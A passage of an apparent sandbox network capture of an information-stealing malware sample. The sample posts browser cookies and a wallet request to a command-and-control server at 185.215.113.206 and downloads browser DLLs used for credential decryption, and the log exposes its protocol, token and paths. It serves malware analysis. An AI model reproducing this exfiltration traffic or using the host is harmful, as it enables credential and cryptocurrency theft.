6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KFCGDBAKKKFBGDHJKFHJ--
Nov 28, 2024 08:55:35.507332087 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 08:55:35.672524929 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file"------IJEHIDHDAKJDHJKEBFIE--
Nov 28, 2024 08:55:36.618805885 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49748	185.215.113.206	80	740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 08:55:42.896138906 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 08:55:42.896179914 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 28, 2024 08:55:44.829848051 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 08:55:45.102308035 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file"------AEGHIJEHJDHIDHIDAEHC--
Nov 28, 2024 08:55:46.058037043 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 08:55:46.560084105 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 08:55:47.016104937 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 28, 2024 08:55:47.016205072 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 28, 2024 08:55:47.016216040 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 28, 2024 08:55:47.016292095 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 28, 2024 08:55:47.016330957 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Nov 28, 2024 08:55:47.016344070 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Nov 28, 2024 08:55:47.016356945 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 28, 2024 08:55:47.016602039 CET	1236	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Nov 28, 2024 08:55:47.024652004 CET	1236	IN	Data Raw: 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d Data Ascii: }4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}
Nov 28, 2024 08:55:47.024751902 CET	1236	IN	Data Raw: f3 01 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 20 89 95 4c ff ff ff 8b 8d dc fe ff ff 8b 41 10 89 85 ac fe ff ff 89 c6 01 d6 8b 53 24 89 95 1c ff ff ff 8b 41 14 89 85 b0 fe ff ff 89 c7 11 d7 8b 41 30 89 85 d0 fe ff ff 01 c6 89 f3 8b 41 34 89 85 Data Ascii: `tS LAS$AA0A4}qT1QP1kA+]rn<}33Ht{({,]HE]11EuUUu
Nov 28, 2024 08:55:48.598206043 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 08:55:49.054079056 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 28, 2024 08:55:50.032114983 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 08:55:50.516814947 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 28, 2024 08:55:51.240696907 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 08:55:51.699964046 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 28, 2024 08:55:55.066073895 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 08:55:55.527522087 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 28, 2024 08:55:56.187622070 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 08:55:56.643842936 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 28, 2024 08:55:57.497993946 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJE Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 08:55:58.624056101 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 08:55:58.702290058 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="message"wallets------IEHDBAAFIDGDAAAAAAAA--
Nov 28, 2024 08:55:59.168154001 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 